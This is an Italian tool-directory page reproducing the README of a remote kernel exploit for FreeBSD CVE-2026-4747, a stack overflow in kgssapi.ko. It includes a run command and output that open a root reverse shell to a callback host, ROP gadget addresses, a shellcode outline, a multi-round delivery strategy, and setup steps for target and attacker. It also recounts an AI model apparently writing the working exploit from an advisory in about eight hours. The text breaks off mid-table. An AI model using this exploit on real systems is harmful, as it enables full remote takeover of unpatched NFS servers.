Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-4747- — Exploit del kernel remoto per FreeBSD CVE-2026-4747, che sfrutta un overflow del buffer nello stack in kgssapi.ko per ottenere RCE con una reverse shell. Include consegna ROP multi-round e istruzioni dettagliate di configurazione. | Kitploit
Strumenti/GitHubGitHub/kaleth4/cve-2026-4747-
Framework di ExploitAnalisi delle VulnerabilitàExploitReverse EngineeringSviluppo PayloadBinary Exploitation
GitHubkaleth4/cve-2026-4747-

CVE-2026-4747-

Exploit del kernel remoto per FreeBSD CVE-2026-4747, che sfrutta un overflow del buffer nello stack in kgssapi.ko per ottenere RCE con una reverse shell. Include consegna ROP multi-round e istruzioni dettagliate di configurazione.

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-4747: FreeBSD Remote Kernel RCE

Primo exploit kernel remoto sia scoperto che sfruttato da un'IA


📋 Riepilogo Rapido

AspettoDettaglio
CVECVE-2026-4747
VulnerabilitàStack buffer overflow in kgssapi.ko (RPCSEC_GSS)
ImpattoRemote Kernel Code Execution → reverse shell uid 0
Sistemi AffettiFreeBSD 13.5, 14.3, 14.4, 15.0 (versioni senza patch)
Scoperto daNicholas Carlini usando Claude (Anthropic)
Data Advisory2026-03-26
Tempo di Sfruttamento~8 ore (4 ore di lavoro reale di Claude)

🎯 Timeline

  • 2026-03-26: FreeBSD pubblica advisory CVE-2026-4747
  • 9:45 AM PDT 2026-03-29: Viene richiesto a Claude di sviluppare un exploit
  • 5:00 PM PDT 2026-03-29: Claude consegna exploit funzionante con reverse shell uid 0

🚀 Dimostrazione dal Vivo

root@kitploit:~
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444

Output:

root@kitploit:~
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 round (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX) ✓
  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓

  [*] Shellcode consegnato ed in esecuzione
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [+] Connessione da 127.0.0.1:41320
  [+] Shell ottenuta!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🔍 Cosa Ha Fatto Claude?

Claude ha risolto 6 problemi tecnici distinti per passare da un advisory a una reverse shell funzionante:

1️⃣ Configurazione del Lab

  • VM FreeBSD 14.4-RELEASE con NFS + Kerberos
  • Requisito critico: 2+ CPU (l'exploit uccide 1 thread NFS per round, servono 15 round)
  • Debug remoto per leggere i kernel crash dump

2️⃣ Consegna Multi-Pacchetto

  • Shellcode di 432 byte non entra in 1 pacchetto (limite XDR: 400 byte)
  • Soluzione: 15 round di overflow
    • Round 1: pmap_change_prot() → BSS eseguibile
    • Round 2-14: Scrive shellcode 32 byte per round
    • Round 15: Ultimi 16 byte + salto allo shellcode

3️⃣ Uscita Pulita dei Thread

  • Ogni overflow dirotta un thread worker NFS
  • Usa kthread_exit() per terminare pulitamente (senza kernel panic)
  • Il server NFS resta vivo per il round successivo

4️⃣ Debug degli Offset (De Bruijn Pattern)

  • Il disassembly iniziale diceva RIP al byte 168 → SBAGLIATO
  • Claude ha inviato un pattern De Bruijn ciclico
  • Ha letto il crash dump del kernel → offset reale: byte 200
  • Differenza di 32 byte: header GSS + gestione del contesto

5️⃣ Transizione Kernel → Userland

  • I thread NFS sono kernel thread puri (senza vmspace, senza trapframe)
  • Soluzione in due fasi:
    • Fase 1: kproc_create() → nuovo processo con infrastruttura user-mode
    • Fase 2: kern_execve("/bin/sh") → carica ELF, configura trapframe, pulisce flag P_KPROC
    • Risultato: /bin/sh esegue in ring 3 come uid 0

6️⃣ Mistero dei Debug Registers (DR7/DDB)

  • Il worker crashava con trap 1 (debug exception) su istruzione valida
  • Causa: kproc_create() eredita i debug registers dal padre
  • Panic precedenti avevano attivato DDB → breakpoint hardware persistenti
  • Fix: Pulire DR7 prima di kproc_create()

🏗️ Architettura Tecnica

Stack Layout (Verificato con De Bruijn)

root@kitploit:~
Credential body byte → Stack target
[0..35]              → GSS header (version, proc, seq, svc, handle)
[36..151]            → Padding (rpchdr remainder + variabili locali)
[152..199]           → Registri salvati (RBX, R12, R13, R14, R15, RBP)
[200..207]           → RETURN ADDRESS ← Primo gadget ROP
[208..399]           → Catena ROP (192 byte = 24 qwords)

Gadget ROP (FreeBSD 14.4-RELEASE)

GadgetIndirizzoScopo
pop rdi; retK+0x1adcdaArg 1 (rdi)
pop rsi; retK+0x1cdf98Arg 2 (rsi)
pop rdx; retK+0x5fa429Arg 3 (rdx)
pop rax; retK+0x400cb4Valore da scrivere
mov [rdi], rax; ret0xffffffff80e3457cScrittura arbitraria di 8 byte

Dove K = 0xffffffff80200000 (kernel base, senza KASLR in FreeBSD 14.x)

Shellcode (432 byte)

Fase 1 - Entry (Thread NFS dirottato):

root@kitploit:~
mov rax, 0xffffffff8198bf00    ; Pivot dello stack a BSS
mov rsp, rax
xor eax, eax
mov dr7, rax                    ; Pulisce i breakpoint hardware
call rbx                        ; kproc_create (precaricato in RBX)
mov rax, kthread_exit
call rax                        ; Termina il thread pulitamente

Fase 2 - Worker (Nuovo processo kernel):

root@kitploit:~
; Configura gli argomenti per kern_execve
lea rdi, [rbp - 0x80]          ; &image_args
mov rsi, "/bin/sh"
mov edx, 1                      ; UIO_SYSSPACE
call exec_args_add_fname

; Aggiunge "-c" e comando reverse shell
; ...

; Esegue /bin/sh
mov rdi, gs:[0]                 ; curthread
mov rax, [rdi + 0x08]           ; proc
call kern_execve

; Pulisce il flag P_KPROC
and byte [rax + 0xb8], 0xfb    ; Permette la transizione a userland
ret                             ; → fork_exit → userret → iretq → ring 3

🛠️ Configurazione del Target

Opzione A: QEMU (Automatizzato con cloud-init)

root@kitploit:~
# Scarica l'immagine
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G

# Configurazione cloud-init
cat > user-data << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
runcmd:
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - service rpcbind start && service nfsd start
EOF

# Avvio con port forwarding
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

Opzione B: VMware / VirtualBox / bhyve (Manuale)

Requisiti:

  • 2+ CPU (critico: 8 thread NFS/CPU, l'exploit richiede 15 round)
  • 2GB RAM, 8GB disco
  • FreeBSD 14.4-RELEASE

Setup nella VM:

root@kitploit:~
# 1. Installare Kerberos
pkg install -y krb5

# 2. Creare KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
[realms]
    TEST.LOCAL = {
        kdc = 127.0.0.1
        admin_server = 127.0.0.1
    }
EOF

# 3. Inizializzare il database KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

# 4. Creare i principal (sostituisci "test" con il tuo hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"

# 5. Avviare KDC
/usr/local/sbin/krb5kdc

# 6. Configurare NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports

# 7. Abilitare i servizi
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start

# 8. Verificare
sysctl vfs.nfsd.threads        # Deve mostrare 16 (con 2 CPU)
sockstat -l | grep 2049        # Deve mostrare tcp4/tcp6

Setup sull'Host Attaccante (Linux)

root@kitploit:~
# 1. Installare i pacchetti
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi

# 2. Configurare /etc/krb5.conf
sudo tee /etc/krb5.conf << EOF
[libdefaults]
    default_realm = TEST.LOCAL
    rdns = false                       # CRITICO: evita la canonicalizzazione DNS
    dns_canonicalize_hostname = false
[realms]
    TEST.LOCAL = {
        kdc = VM_IP:KDC_PORT           # 127.0.0.1:8888 (QEMU) o 192.168.x.x:88 (bridged)
    }
EOF

# 3. Aggiungere hostname a /etc/hosts
echo "VM_IP test" | sudo tee -a /etc/hosts

# 4. Ottenere il ticket Kerberos
echo "password" | kinit [email protected]
klist

# 5. (Opzionale) Installare ROPgadget per trovare nuovi gadget
pip install ROPgadget

🎪 Strategia di Sfruttamento

Round 1: Rendere BSS Eseguibile

root@kitploit:~
Catena ROP:
  pop rdi          → rdi = 0xffffffff8198a000 (pagina BSS)
  pop rsi          → rsi = 0x2000 (2 pagine = 8KB)
  pop rdx          → rdx = 7 (VM_PROT_ALL = RWX)
  pmap_change_prot → cambia i permessi a RWX
  pop rdi          → rdi = 0
  kthread_exit     → termina il thread pulitamente

Round 2–14: Scrivere lo Shellcode

Ogni round scrive 32 byte (4 qwords) a BSS:

root@kitploit:~
Template catena ROP:
  pop rdi          → rdi = BSS_SC + offset
  pop rax          → rax = shellcode_qword
  mov [rdi], rax   → scrive 8 byte
  (ripetere altre 3 volte)
  pop rdi          → 0
  kthread_exit     → termina

Costo: 40 byte ROP/8 byte scritti → 15 round totali

Round 15: Salto allo Shellcode

root@kitploit:~
Catena ROP:
  pop rdi          → rdi = BSS_SC + 416
  pop rax          → rax = ultimo qword
  mov [rdi], rax   → scrive
  (ripetere)
  BSS_SC           → SALTA ALLO SHELLCODE!

🐛 Sfide Risolte

ProblemaCausaSoluzione
Offset RIP erratoDisassembly statico non contava l'header GSSPattern De Bruijn + lettura crash dump
Incompatibilità MIT/HeimdalCanonicalizzazione DNS hostnamerdns = false + dns_canonicalize_hostname = false
Trap 1 nel workerDebug registers ereditati da DDBPulire DR7 prima di kproc_create()
Shellcode non entra432 byte > 400 byte (limite XDR)Consegna in
Scarica lo strumento